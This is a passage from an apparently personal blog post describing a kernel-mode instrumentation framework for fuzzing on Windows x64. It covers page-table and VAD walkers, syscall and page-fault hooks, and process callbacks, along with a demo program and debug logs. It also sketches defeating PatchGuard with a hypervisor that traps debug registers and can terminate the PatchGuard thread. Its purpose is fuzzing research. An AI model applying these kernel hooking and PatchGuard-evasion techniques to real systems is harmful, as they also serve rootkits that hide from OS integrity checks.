VA.PML4Selector\)print "\------"offset = reg\("CR3"\) + addr**.**
VA.PML4Selector \* X64SIZEprint dbgCommand\("**\!** dq
%s"%\(hex\(offset\).replace\("L", ""\)\)\).split\(" "\)\#split\(""\)\[INDEX\]
index should be propebly choosen,look at print abovepml4 =
CMMPTE\(\)pml4.Value = int\(dbgCommand\("**\!** dq
%s"%\(hex\(offset\).replace\("L", ""\)\)\).split\(" "\)\[1\].replace\("\`",
""\), 16\)print hex\(pml4.HWPTE.PageFrameNumber\)print
hex\(pml4.HWPTE.LargePage\)print hex\(pml4.HWPTE.Valid\)print "get next
table", hex\(offset\)pdp = GetNextTable\(pml4, addr**.** VA.PDPSelector\)pt =
GetNextTable\(pdp, addr**.** VA.PTSelector\)pte = GetNextTable\(pt, addr**.**
VA.PTESelector\)print \[pte.HWPTE.Write, pte.HWPTE.NoExecute,
hex\(pte.HWPTE.PageFrameNumber\), pte.HWPTE.LargePage\]  
---|---  
And wondering how it is easy, implemented c++ equivalent :

| class CMMUpublic: CMMU\( \_\_in const void\* address \) :
m\_va\(\*reinterpret\_cast<const VIRTUAL\_ADDRESS\*>\(&address\)\),
m\_pml4\(readcr3\(\) + m\_va.Selector.PML4Selector \* sizeof\(void\*\),
sizeof\(PAGE\_TABLE\_ENTRY\)\), m\_pdp\(GetNextTable\(PML4\(\),
m\_va.Selector.PDPSelector\), sizeof\(PAGE\_TABLE\_ENTRY\)\),
m\_pt\(GetNextTable\(PDP\(\), m\_va.Selector.PTSelector\),
sizeof\(PAGE\_TABLE\_ENTRY\)\), m\_pte\(GetNextTable\(PT\(\),
m\_va.Selector.PTESelector\), sizeof\(PAGE\_TABLE\_ENTRY\)\)protected:
\_\_forceinline \_\_checkReturn  const void\* GetNextTable\( \_\_in const
PAGE\_TABLE\_ENTRY\* table,  \_\_in size\_t selector if \(**\!** table\)
return NULL; return reinterpret\_cast<const void\*>\( \(table->PageFrameNumber
<< PAGE\_SHIFT\) +  selector \* sizeof\(void\*\)\);protected: CDispatchLvl
m\_irql; VIRTUAL\_ADDRESS m\_va; CMmMap m\_pml4; CMmMap m\_pdp; CMmMap m\_pt;
CMmMap m\_pte;  
---|---  
which save my day against perfomance kill by virtual protect API

Handling memory write attempts from app to protected memory is done via hook
on PageFault, in which is memory temporary updated with original protection
mask**.**

  * _**VAD** walker_

But it have some issues**\!** .. first of all, i will try to disable write by
unset this flag in PTE by address when memory is allocated, buut … in this
moment is PTE\(addr\).Valid == 0 … magic is, that for performance reason m$
will not create PTE per allocation request, but instead of this by first
access \(== pagefault\) to this memory**.**

It can be overcomed to handling it after PTE will be craeted for given memory
range, but more simplier option comes here**.** How m$ code know flags of
memory, and even so, is that memory even allocated and so for sure access
should be granted **?** answer is VAD  **\!** Some interesting reading can be
found at ** _Windows Internals, 6th edition_** _\[**Chapter 10** Memory
Management_ _\]_**.**

So lets go update VAD instead of PTE per alloc **.** PTE should in exchange
unlock \(write enable\) memory in PageFault caused by application attempt to
writting to its own memory – but also get callback to us that particular bytes
are likely to change**.**

VAD can be found at EPROCESS structure, and i am not proud of it, but it needs
some system dependent constants \(to avoid rebuild whole project, when it
should be shipped on another version of windows, will be mentioned some TODO
at the end of blog\)**.** And also great source of internal knowledge of m$
code \(excluding ntoskrnl binary itself \) is reactos project**.**

From now it is easy to handle it :

  * VAD is AVL-tree structured
  * ptr to VAD is stored in EPROCESS
  * lock address space is necessary

\* With VAD walker is also easy to enumerate whole process address space \*

| //----------------------------------------------------------------//
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* VAD\_ROOT ADDRESS SPACE LOCK
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*//----------------------------------------------------------------class
CVADScanLockpublic: CVADScanLock\( \_\_in PEPROCESS process ~CVADScanLock\(\);
\_\_checkReturn bool IsLocked\(\);protected: bool m\_locked;
CAutoProcessAttach m\_attach; //CDisableKernelApc m\_kernelapcDisabled;
CAutoLock<CExclusiveLock> m\_addressSpaceLock; CExclusiveLock
m\_workingSetLock;//-----------------------------------------------------//
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* VAD AVL WALKER
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*//-----------------------------------------------------class
CVadWalker : public CBinTreeWalker<VAD\_SHORT>public: CVadWalker\( \_\_in
PEPROCESS process \_\_forceinline size\_t GetSize\(\) return
m\_avlInfo->NumberGenericTableElements;private: const AVL\_INFO\*
m\_avlInfo;//------------------------------------------------------//
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* VAD AVL SCANNER
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*//------------------------------------------------------\_\_checkReturn
bool CVadScanner::ScanAddressSpace\(\) CApcLvl irql; CVADScanLock
vad\_lock\(m\_process\); if \(vad\_lock.IsLocked\(\)\) CVadWalker
vad\(m\_process\); bool found = false; const VAD\_SHORT\* mem\_descryptor =
vad.GetLowerBound\(\); if \(mem\_descryptor\) CVadNodeMemRange
mem\(mem\_descryptor\); DbgPrint\("\n>>> **\!** Memory by VAD : %p %p \[%p\]
%s",  mem.Begin\(\),  mem.End\(\),  mem.GetFlags\(\),  \(mem.IsWriteable\(\)
**?** "is writeable**\!** " : "non writeable\!"\) \}
while\(vad.GetNext\(&mem\_descryptor\)\); return true; DbgPrint\("\nerror not
locked**\!****\!**\!"\); return false;  
---|---  
  * _full**Process** control \[images, threads, memory\]_

Under debugger you get events about everything, but if you set up correctly in
your on-the-fly \(>debuger free\) monitor you can get same results as a
callbacks – which ensure speed up of whole processing

| struct FUZZ\_THREAD\_INFO;class CProcess2Fuzz :  public CProcessContext,
public CSyscallCallbackspublic: explicit CProcess2Fuzz\( \_\_inout PEPROCESS
process, \_\_in HANDLE processId, \_\_inout\_opt PS\_CREATE\_NOTIFY\_INFO\*
createInfo ~CProcess2Fuzz\(\); static \_\_checkReturn bool WatchProcess\(
\_\_inout PEPROCESS eprocess, \_\_in HANDLE processId, \_\_inout\_opt
PS\_CREATE\_NOTIFY\_INFO\* createInfo void ProcessNotifyRoutineEx\( \_\_inout
PEPROCESS eprocess, \_\_in HANDLE processId, \_\_inout\_opt
PS\_CREATE\_NOTIFY\_INFO\* createInfo void ChildProcessNotifyRoutineEx\(
\_\_inout PEPROCESS eprocess, \_\_in HANDLE processId, \_\_inout\_opt
PS\_CREATE\_NOTIFY\_INFO\* createInfo void ImageNotifyRoutine\( \_\_in\_opt
UNICODE\_STRING\* fullImageName, \_\_in HANDLE processId, \_\_in IMAGE\_INFO\*
imageInfo void ThreadNotifyRoutine\( \_\_in HANDLE processId, \_\_in HANDLE
threadId, \_\_in BOOLEAN create void RemoteThreadNotifyRoutine\( \_\_in HANDLE
processId, \_\_in HANDLE threadId, \_\_in BOOLEAN create \_\_checkReturn
virtual bool Syscall\( \_\_inout ULONG\_PTR reg\[REG\_COUNT\] \_\_checkReturn
bool PageFault\( \_\_inout ULONG\_PTR reg\[REG\_COUNT\]protected:
\_\_checkReturn bool VirtualMemoryCallback\( \_\_in void\* memory, \_\_in
size\_t size, \_\_in bool write, \_\_inout ULONG\_PTR reg\[REG\_COUNT\],
\_\_inout\_opt BYTE\* buffer = NULL \) override; void SetUnwriteable\( \_\_in
const void\* addr, \_\_in size\_t sizeprotected:
CLockedAVL<FUZZ\_THREAD\_INFO> m\_threads; CLockedAVL<CHILD\_PROCESS>
m\_childs; CLockedAVL<LOADED\_IMAGE> m\_loadedImgs; CLockedAVL<CMemoryRange>
m\_nonWritePages; CLockedAVL< CRange<ULONG\_PTR> >
m\_stacks;//installCProcessMonitor\(\) m\_processWorker = new
CProcessCtxWorker<TYPE>; if \(**\!** m\_processWorker\) return; //registry
callback UNICODE\_STRING altitude; RtlInitUnicodeString\(&altitude,
L"360055"\);//FSFilter Activity Monitor CPassiveLvl irql; NTSTATUS status;
status = PsSetCreateProcessNotifyRoutineEx\(ProcessNotifyRoutineEx, FALSE\);
ASSERT\(STATUS\_SUCCESS == status\); status =
PsSetLoadImageNotifyRoutine\(ImageNotifyRoutine\); ASSERT\(STATUS\_SUCCESS ==
status\); status = PsSetCreateThreadNotifyRoutine\(ThreadNotifyRoutine\);
ASSERT\(STATUS\_SUCCESS == status\); status =
CmRegisterCallbackEx\(RegisterCallback, &altitude, gDriverObject, NULL,
&m\_cookie, NULL\); ASSERT\(STATUS\_SUCCESS == status\);  
---|---  
  * _**Syscall** monitoring – implemented process virtual memory monitor_

“System calls provide an essential interface between a process and the
operating system**.** ” – and so it is nice point to get hook, and monitor
process**.** Now it is just implemented virtual memory monitor to keep eye on
memory address space – protection of memory pages

| class CSYSCALLpublic: \_\_checkReturn virtual bool Syscall\( \_\_inout
ULONG\_PTR reg\[REG\_COUNT\] ULONG\_PTR ring0rsp = reg\[RSP\]; //-2 ==
simulating push ebp, pushfq to copy state as in reg\[REG\_COUNT\] reg\[RSP\] =
\(ULONG\_PTR\)\(get\_ring3\_rsp\(\) - 2\); bool status = false; switch
\(\(ULONG\)reg\[RAX\]\) case ntdll\_NtAllocateVirtualMemory: status =
NtAllocateVirtualMemory\(reg\); break; case ntdll\_ZwFreeVirtualMemory: status
= ZwFreeVirtualMemory\(reg\); break; case ntdll\_ZwQueryVirtualMemory: status
= ZwQueryVirtualMemory\(reg\); break; case ntdll\_NtWriteVirtualMemory: status
= NtWriteVirtualMemory\(reg\); break; case ntdll\_NtReadVirtualMemory: status
= NtReadVirtualMemory\(reg\); break; case ntdll\_NtProtectVirtualMemory:
status = NtProtectVirtualMemory\(reg\); break; case
ntdll\_NtFlushVirtualMemory: status = NtFlushVirtualMemory\(reg\); break; case
ntdll\_NtLockVirtualMemory: status = NtLockVirtualMemory\(reg\); break; case
ntdll\_ZwSetInformationVirtualMemory: status =
ZwSetInformationVirtualMemory\(reg\); break; case
ntdll\_ZwUnlockVirtualMemory: status = ZwUnlockVirtualMemory\(reg\); break;
default: break; reg\[RSP\] = ring0rsp; return status;  
---|---  
_PROBLEMS :_

  * SysCall hook => PatchGuard
  * PageFaul hook => PatchGuard
  * VAD walker => windows version dependent**\!**
  * ring3 – ring0, ring3 – vmm communication => performance

**SOLUTIONS \[implemented just partlialy\] :**

  * PatchGuard => VMM 
    * SysCall protect MSR via VMX\_EXIT\_RDMSR _\[implemented\]_
    * PageFault protection via DRx - VMX\_EXIT\_DRX\_MOVE 
      * **?****?** ->
      * we can easly protect hook via DRx at IDT\[page\_fault\] pointer
      * to avoid this PatchGuard needs to clear dr7
      * in VMM we trap dr acces and fool / terminate PatchGuard thread

  * _windows version dependent constants_ => constants should be provided be user app using this framework**.** This constants can be obtained manualy from windbg, ida, by windbg + script – pykd, or by playing with SymLoadModuleEx 
  * __communication with ring0 and vmm parts of dbi = > implement own fast calls  _\[not properly implemented yet\]___
    * ring3-ring0 => SYSENTER \(mov eax, VMM\_FASTCALL\_R0\)
    * ring3-vmm => CPUID \(mov eax, VMM\_FASTCALL\_VMM\)

Idea is implement this dbi tool for fuzzing as a module, which can be fully
used from python \(or other -c++, ruby …\), and has fastcall access to dbi
modules**.**

**_FEATURES – present + TODO :_**

  * implement all needed callbakcs : 
    * branch tracing -or single step
    * memory access
    * exception occured
    * process / thread termination
    * syscalls
  * accessible all needed info : 
    * loaded images
    * enumerate whole process address space
    * per thread information – stack, context …
    * child processes
  * full process control 
    * save + restart state \[ memory + context \]
    * stop / pause / resume threads
    * deny / allow process creation
    * alter process context / memory
    * alter process control flow

So idea looks like :

<img src='img/Temp2_1791.jpg' alt='fuzzframeworkidea' />

For now i have just implemented PoC on crappy ring3 app**.** Windows 8, dbi
driver x64, app x86**.**

| \#include "stdafx**.** h"\#include "Windows**.** h"\#include <intrin.h>\#include <excpt**.** h>int filter\(unsigned int code, struct \_EXCEPTION\_POINTERS \*ep\) printf\("in filter**.** "\); OutputDebugString\(L"\n\*\*\*\*\*\*\*\*\*\* >> in filter**.** "\); if \(code == EXCEPTION\_ACCESS\_VIOLATION\) \{ printf\("caught AV as expected**.** "\); OutputDebugString\(L"\n\*\*\*\*\*\*\*\*\*\* >> \*\*\*\*\*\*\*\*\*\* caught AV as expected**.** "\); return EXCEPTION\_EXECUTE\_HANDLER; else \{ printf\("didn't catch AV, unexpected**.** "\); OutputDebugString\(L"\n\*\*\*\*\*\*\*\*\*\* >> \*\*\*\*\*\*\*\*\*\* didn't catch AV, unexpected**.** "\); return EXCEPTION\_CONTINUE\_SEARCH;int \_tmain\(int argc, \_TCHAR\* argv\[\]\)\#define DEF\_SIZE 0x100 char\* mem = \(char\*\)VirtualAlloc\(\(LPVOID\)0x2340000, DEF\_SIZE, MEM\_COMMIT | MEM\_RESERVE, PAGE\_READWRITE\); if \(mem && mem == \(char\*\)0x2340000\) int CPUInfo\[4\] = \{0\}; int InfoType = 0xBADF00D0; \_\_cpuid\(CPUInfo, InfoType\); int z = 0; for \(int i = 0; i < 0x10; i++\) z += i; \_\_try accesv: \*\(mem\) = 2; if \(false\) goto accesv; \_\_except \(filter\(GetExceptionCode\(\), GetExceptionInformation\(\)\)\) \*\(mem + 2\) = 2; DebugBreak\(\); //\*\(mem\) = 2; printf\("koncek"\); OutputDebugString\(L"\n\*\*\*\*\*\*\*\*\*\* << finish"\); printf\("mem : %p", mem\); VirtualFree\(mem, DEF\_SIZE, MEM\_FREE\); DebugBreak\(\); return 0;  
---|---  
.. as demo was written this concept, which at alloc set unwritable allocated
memory, and at first access it ignore it – exception handling in try blog is
invoked, but at second acces is access granted by setting PTE\(address\).Write
= 1 in PageFault

| \_\_checkReturnbool CProcess2Fuzz::VirtualMemoryCallback\( \_\_in void\*
memory, \_\_in size\_t size, \_\_in bool write, \_\_inout ULONG\_PTR
reg\[REG\_COUNT\], \_\_inout\_opt BYTE\* buffer /\*= NULL\*/
DbgPrint\("\n@VirtualMemoryCallback %p %p \[thread : %p\]\n",
PsGetThreadProcessId\(PsGetCurrentThread\(\)\), m\_processId,
PsGetCurrentThread\(\)\); FUZZ\_THREAD\_INFO\* fuzz\_thread; if
\(m\_threads.Find\(FUZZ\_THREAD\_INFO\(\), &fuzz\_thread\)\) ULONG\_PTR\*
r3stack = get\_ring3\_rsp\(\); DbgPrint\("\n > I**.** @Prologue %p %p
\[%p\]\n", r3stack, \*r3stack, reg\[RCX\]\);
fuzz\_thread->SetCallbackEpilogue\(reg, memory, size, write\); return
false;\_\_checkReturnbool CProcess2Fuzz::Syscall\(  \_\_inout ULONG\_PTR
reg\[REG\_COUNT\]  //implement ref counting **?** auto\_ptr... //but
assumption, if thread is in syscall then it can not exit for now good
enough..**.** FUZZ\_THREAD\_INFO\* fuzz\_thread; if
\(m\_threads.Find\(FUZZ\_THREAD\_INFO\(\), &fuzz\_thread\)\) if
\(fuzz\_thread->WaitForSyscallEpilogue\(\)\) if
\(fuzz\_thread->MemoryInfo.Write &&
//CMemoryRange\(\(BYTE\*\)fuzz\_thread->MemoryInfo.Memory,
fuzz\_thread->MemoryInfo.Size, 0\).IsInRange\(\(BYTE\*\)0x2340000\)\) **\!**
m\_stacks.Find\(CRange<ULONG\_PTR>\(reinterpret\_cast<ULONG\_PTR\*>\(fuzz\_thread->MemoryInfo.Memory\)\)\)\)
SetUnwriteable\(fuzz\_thread->MemoryInfo.Memory,
fuzz\_thread->MemoryInfo.Size\); DbgPrint\("\n > @Epilogue %p %x %s\n",
fuzz\_thread->MemoryInfo.Memory, fuzz\_thread->MemoryInfo.Size,
fuzz\_thread->MemoryInfo.Write **?** "attempt to write" : "easy RE+
attempt"\); fuzz\_thread->EpilogueProceeded\(\); return true; return
CSYSCALL::Syscall\(reg\);\_\_checkReturnbool CProcess2Fuzz::PageFault\(
\_\_inout ULONG\_PTR reg\[REG\_COUNT\] \) BYTE\* fault\_addr =
reinterpret\_cast<BYTE\*>\(readcr2\(\)\); //temporary for demo if \(0x2340000
== \(ULONG\_PTR\)fault\_addr\) return false; if \(0x2340002 ==
\(ULONG\_PTR\)fault\_addr\) KeBreak\(\); if
\(m\_nonWritePages.Find\(CMemoryRange\(fault\_addr, sizeof\(BYTE\)\)\)\)
m\_nonWritePages.Pop\(CMemoryRange\(fault\_addr, sizeof\(BYTE\)\)\); if
\(**\!** CMMU::IsWriteable\(fault\_addr\)\) CMMU::SetWriteable\(fault\_addr,
sizeof\(ULONG\_PTR\)\); //+set trap after instruction, to set
unwriteable**\!** //sync problem, not locked and acces via ref, via ref
counting ..**.** return true; return false;  
---|---  
and some DbgPrint by monitoring it follows :

00000000BADF00D0 is marker of BTF, before is printed source instruction
\(which changed control flow\), and after follow destination address \(current
rip\)**.** @VirtualMemoryCallback + @Prologue + @Epilogue is implementation of
current state of SYSCALL + PageFault cooperating to handle memory writes –
used PTE and VAD**.**

| CCRonos
ctorDriverEntryCSysCall::SetVirtualizationCallbacksCCRonos::SetVirtualizationCallbacksCCRonos::PerCoreAction
- Lets Go start virtualizee cpu : 0 **\!** Hooked. procid \[0\] <=> syscall
addr \[FFFFF802EBE641C0\]Virtualization is enabled**\!** ~~~~~~~~~~~ CPUID
\(0\) : PILL open gate**\!** ~~~~~~~~~~~RdmsrHook FFFFF88009647AE2 \[pethread
: FFFFFA8005DA7B00\] -> dst = FFFFF802EBE641C0II**.** procid \[0\] <=> syscall
addr \[FFFFF802EBE641C0\]EXWORKER: worker exit with system affinity set,
worker routine FFFFF802EC1B7478, parameter FFFFF88008797BE0, item
FFFFF88008797BE0 @ProcessNotifyRoutineEx 9e0 FFFFFA80087B2940 start
REMOTE**\!** ThreadNotifyRoutine a5c FFFFFA8008810940 start
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000001170000 0000000000097000\]
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[000007F9D5280000 00000000001C0000\]
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000076EC0000
0000000000157000\]@VirtualMemoryCallback 00000000000009E0 00000000000009E0
\[thread : FFFFFA8007CD0700\] > I**.** @Prologue 000000000070F168
000007F9D52A50B1 \[000007F9D5282D6A\] > @Epilogue 0000000000000000 260000
attempt to write@VirtualMemoryCallback 00000000000009E0 00000000000009E0
\[thread : FFFFFA8007CD0700\] > I**.** @Prologue 000000000070F168
000007F9D52A50F5 \[000007F9D5282DCA\] > @Epilogue 0000000000840000 1e0000 easy
RE+ attempt@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070F168 000007F9D52A5166
\[000007F9D5282D6A\] > @Epilogue 0000000000A20000 2000 attempt to
write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070F308 000007F9D52A7D81
\[000007F9D5282DCA\] > @Epilogue 0000000000690000 0 easy RE+
attempt@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070F1D8 000007F9D52A6440
\[000007F9D5282E1A\] > @Epilogue 000007F9D5280000 0 easy RE+
attempt@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E448 000007F9D52B7BF4
\[000007F9D5282D6A\] > @Epilogue 0000000000A22000 1000 attempt to write
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000076E10000
0000000000045000\]@VirtualMemoryCallback 00000000000009E0 00000000000009E0
\[thread : FFFFFA8007CD0700\] > I**.** @Prologue 000000000070EC08
000007F9D52A0FD4 \[000007F9D52830EA\] > @Epilogue 0000000076E4E0B0 1060
attempt to write @ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000076E60000
000000000005A000\] @ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000076E00000
0000000000008000\]@VirtualMemoryCallback 00000000000009E0 00000000000009E0
\[thread : FFFFFA8007CD0700\] > I**.** @Prologue 000000000070EC08
000007F9D52A0FD4 \[000007F9D52830EA\] > @Epilogue 0000000076EB6128 e8 attempt
to write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070EB28 000007F9D52A13F7
\[000007F9D52830EA\] > @Epilogue 0000000076EB6128 e8 easy RE+
attempt@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070EC08 000007F9D52A0FD4
\[000007F9D52830EA\] > @Epilogue 0000000076E050E0 a0 attempt to
write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070EB28 000007F9D52A13F7
\[000007F9D52830EA\] > @Epilogue 0000000076E050E0 a0 easy RE+
attempt@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070EB28 000007F9D52A13F7
\[000007F9D52830EA\] > @Epilogue 0000000076E4E0B0 1060 easy RE+ attempt
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000000840000 0000000000136000\]
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[00000000767E0000 0000000000130000\]
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000000840000 0000000000136000\]
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000000840000
000000000014C000\]@VirtualMemoryCallback 00000000000009E0 00000000000009E0
\[thread : FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8
0000000076E2031D \[000007F9D5282D6A\] > @Epilogue 0000000000000000 2e0000
attempt to write@VirtualMemoryCallback 00000000000009E0 00000000000009E0
\[thread : FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3D8
0000000076E223FD \[000007F9D5282DCA\] > @Epilogue 0000000000AA0000 1e0000 easy
RE+ attempt@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C80000 1000 attempt to
write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C81000 1000 attempt to
write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C82000 1000 attempt to
write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3D8 0000000076E223FD
\[000007F9D5282DCA\] > @Epilogue 00000000006B0000 0 easy RE+
attempt@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E2F8 0000000076E23AE7
\[000007F9D5282E1A\] > @Epilogue 0000000076EC0000 0 easy RE+ attempt
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[00000000767E0000
0000000000130000\]@VirtualMemoryCallback 00000000000009E0 00000000000009E0
\[thread : FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8
0000000076E2B46D \[000007F9D52830EA\] > @Epilogue 0000000076860000 1240
attempt to write @ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[00000000748D0000
00000000000A6000\]@VirtualMemoryCallback 00000000000009E0 00000000000009E0
\[thread : FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8
0000000076E2B46D \[000007F9D52830EA\] > @Epilogue 0000000074968000 900 attempt
to write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8 0000000076E2B46D
\[000007F9D52830EA\] > @Epilogue 0000000074968000 900 attempt to
write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8 0000000076E2B46D
\[000007F9D52830EA\] > @Epilogue 0000000076860000 1240 easy RE+
attempt@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070DCC8 000007F9D52B7BF4
\[000007F9D5282D6A\] > @Epilogue 0000000000A23000 2000 attempt to write
CHILD**\!** ProcessNotifyRoutineEx c30 00000000000009E0 start
7d7bd80@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C83000 1000 attempt to write
@ImageNotifyRoutine 9e0 FFFFFA80087B2940 \[0000000074320000
00000000000A7000\]@VirtualMemoryCallback 00000000000009E0 00000000000009E0
\[thread : FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8
0000000076E2B46D \[000007F9D52830EA\] > @Epilogue 00000000743A8000 44c attempt
to write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8 0000000076E2B46D
\[000007F9D52830EA\] > @Epilogue 00000000743A8000 44c easy RE+
attempt@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C84000 1000 attempt to
write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C85000 2000 attempt to
write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C87000 3000 attempt to
write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C8A000 2000 attempt to
write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000000000 3c48 attempt to
write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 00000000006A0000 7e0 attempt to
writeZwRaiseException 0000000076E40350@VirtualMemoryCallback 00000000000009E0
00000000000009E0 \[thread : FFFFFA8007CD0700\] > I**.** @Prologue
000000000070E2F8 0000000076E23AE7 \[000007F9D5282E1A\] > @Epilogue
00000000748E6731 0 easy RE+ attemptSHIMVIEW:
ShimInfo\(Complete\)@VirtualMemoryCallback 00000000000009E0 00000000000009E0
\[thread : FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8
0000000076E2031D \[000007F9D5282D6A\] > @Epilogue 0000000000C8C000 2000
attempt to write@VirtualMemoryCallback 00000000000009E0 00000000000009E0
\[thread : FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8
0000000076E2031D \[000007F9D5282D6A\] > @Epilogue 0000000000C8E000 1000
attempt to write@VirtualMemoryCallback 00000000000009E0 00000000000009E0
\[thread : FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8
0000000076E2031D \[000007F9D5282D6A\] > @Epilogue 0000000000C8F000 1000
attempt to write@VirtualMemoryCallback 00000000000009E0 00000000000009E0
\[thread : FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8
0000000076E2031D \[000007F9D5282D6A\] > @Epilogue 0000000000C90000 1000
attempt to write@VirtualMemoryCallback 00000000000009E0 00000000000009E0
\[thread : FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8
0000000076E2B46D \[000007F9D52830EA\] > @Epilogue 00000000012011F8 1d0 attempt
to write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3B8 0000000076E2B46D
\[000007F9D52830EA\] > @Epilogue 00000000012011F8 1d0 attempt to
write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C91000 1000 attempt to
write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C92000 1000 attempt to
write@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E2F8 0000000076E23E97
\[000007F9D5282E1A\] > @Epilogue 0000000001199B18 0 easy RE+
attempt@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E2F8 0000000076E23AE7
\[000007F9D5282E1A\] > @Epilogue 0000000001199B18 0 easy RE+
attempt@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E2F8 0000000076E23BDB
\[000007F9D5282E1A\] > @Epilogue 0000000001199B18 0 easy RE+
attempt@VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread :
FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000002340000 100 attempt to
